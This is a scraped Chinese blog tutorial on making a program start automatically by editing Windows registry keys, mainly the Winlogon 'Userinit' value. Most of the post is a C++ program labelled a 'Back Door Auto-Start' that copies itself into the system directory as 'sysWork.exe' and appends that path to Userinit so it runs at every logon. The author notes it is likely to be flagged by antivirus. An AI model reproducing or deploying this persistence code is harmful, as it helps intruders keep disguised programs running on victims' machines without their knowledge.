1. 程式人生 > >C/C++實現利用添加註冊表項實現文件自啟動

C/C++實現利用添加註冊表項實現文件自啟動

c++實現 ng- 註冊表操作 comm .cpp mod mps main 文件路徑

簡介

添加註冊表項是實現文件自啟動的經典方法之一,但因為操作註冊表項是一個敏感操作,被報毒可能性較大,但即便如此,這個方法還是值得一學的,因為後期大部分編程都涉及到註冊表操作。


最常使用到的註冊表項有兩項:

  1. "HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows"“load”鍵下的鍵值改為自啟動目標文件路徑,但缺點在於只能支持一個程序;
  2. "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon"“Userinit”
    鍵下的值加上自啟動目標文件路徑,但是要註意雖然支持多文件自啟動,但每個文件路徑之間切記要用逗號隔開


C++代碼樣例

//////////////////////////////////////////////////////////////
//
// FileName : RegAutoRunDemo.cpp
// Creator : PeterZ1997
// Date : 2018-5-1 21:34
// Comment : Add registry key(s) to achieve the Back Door Auto-Start
//
//////////////////////////////////////////////////////////////

#include <cstdio>
#include <iostream>
#include <windows.h>
#include <cstdlib>
#include <cstring>

using namespace std;

const unsigned int MAX_COUNT = 255; /// Max String Length

CHAR szRegInfo[MAX_COUNT] = "\0";

/**
 * @brief Compare two String
 * @param str1 String-1
 * @param str2 String-2
 * @return Boollean Value
 */
BOOL compareTwoString(LPCTSTR str1, LPCSTR str2)
{
    CHAR szTempStr01[MAX_COUNT] = "\0";
    CHAR szTempStr02[MAX_COUNT] = "\0";
    if (strlen(str1) < strlen(str2))
    {
        strcpy_s(szTempStr02, sizeof(szTempStr01), str1);
        strcpy_s(szTempStr01, sizeof(szTempStr02), str2);
    }
    else
    {
        strcpy_s(szTempStr01, sizeof(szTempStr01), str1);
        strcpy_s(szTempStr02, sizeof(szTempStr02), str2);
    }
    for (int i = 0; i < strlen(szTempStr01) - strlen(szTempStr02); i++)
    {
        for (int j = 0; j < strlen(szTempStr02); j++)
        {
            if (*(szTempStr01 + j + i) != *(szTempStr02 + j))
            {
                break;
            }
            if (*(szTempStr01 + j + i) == *(szTempStr02 + j) && j == strlen(szTempStr02) - 1)
            {
                return true;
            }
        }
    }
    return false;
}

/**
 * @brief Add a string key to Registry
 * @param hRoot root key
 * @param szSubKey sub key after the root key
 * @param szValueName key name
 * @param szData key Data
 * @return Boollean Value
 */
BOOL setStringToReg(HKEY hRoot, LPCTSTR szSubKey, LPCTSTR szValueName, LPCTSTR szData)
{
    HKEY hKey;
    LONG lRes = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
    if (lRes != ERROR_SUCCESS)
    {
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return false;
    }
    lRes = RegSetValueEx(hKey, szValueName, 0, REG_SZ, (BYTE*)szData, strlen(szData));
    if (lRes != ERROR_SUCCESS)
    {
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return false;
    }
    RegCloseKey(hKey);
    RegCloseKey(hRoot);
    return true;
}

/**
 * @brief Get key info
 * @param hRoot root key
 * @param szSubKey sub key after the root key
 * @param szValueName key name
 * @return Boollean Value
 */
BOOL getRegInfo(HKEY hRoot, LPCTSTR szSubKey, LPCTSTR szValueName)
{
    HKEY hKey;
    DWORD dwType = REG_SZ;
    DWORD dwLenData = strlen(szRegInfo);
    LONG lRes = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
    if (lRes != ERROR_SUCCESS)
    {
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return false;
    }
    RegQueryValueEx(hKey, szValueName, 0, &dwType, NULL, &dwLenData);
    lRes = RegQueryValueEx(hKey, szValueName, 0, &dwType, (LPBYTE)szRegInfo, &dwLenData);
    if (lRes != ERROR_SUCCESS)
    {
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return false;
    }
    RegCloseKey(hKey);
    RegCloseKey(hRoot);
    return true;
}

/**
* @brief Main Function
*/
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
    CHAR szSystemPath[MAX_COUNT] = "\0";
    CHAR szFilePath[MAX_COUNT] = "\0";
    CHAR szRegValue[MAX_COUNT] = "\0";
    CHAR szTotalString[MAX_COUNT] = "\0";
    if (getRegInfo(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "Userinit")) strcat_s(szRegValue, sizeof(szRegValue), szRegInfo);
    else return 0;
    for (int i = 1;;)
    {
        if (szRegValue[strlen(szRegValue) - i] == ‘ ‘)
        {
            szRegValue[strlen(szRegValue) - i] = ‘\0‘;
        }
        else
        {
            break;
        }
    }
    if (szRegValue[strlen(szRegValue) - 1] != ‘,‘) strcat_s(szRegValue, sizeof(szRegValue), ",");
    strcat_s(szTotalString, sizeof(szTotalString), szRegValue);
    if (!compareTwoString(szTotalString, "C:\\Windows\\SysWOW64\\sysWork.exe"))
    {
        strcat_s(szTotalString, sizeof(szTotalString), "C:\\Windows\\SysWOW64\\");
        strcat_s(szTotalString, sizeof(szTotalString), "sysWork.exe,");
    }
    GetSystemDirectory(szSystemPath, sizeof(szSystemPath));
    strcat_s(szSystemPath, sizeof(szSystemPath), "\\sysWork.exe");
    if (!compareTwoString(szRegValue, szSystemPath))
    {
        strcat_s(szTotalString, sizeof(szTotalString), szSystemPath);
        strcat_s(szTotalString, sizeof(szTotalString), ",");
    }
    GetModuleFileName(NULL, szFilePath, sizeof(szFilePath));
    if (strcmp(szFilePath, szSystemPath) && strcmp(szFilePath, "C:\\Windows\\SysWOW64\\sysWork.exe"))
    {
        if (!CopyFile(szFilePath, szSystemPath, true)) return 0;
        if (!setStringToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "Userinit", szTotalString)) return 0;
    }
    MessageBox(NULL, "HelloWorld", "Tips", MB_OK);
    ExitProcess(0);
    return 0;
}

C/C++實現利用添加註冊表項實現文件自啟動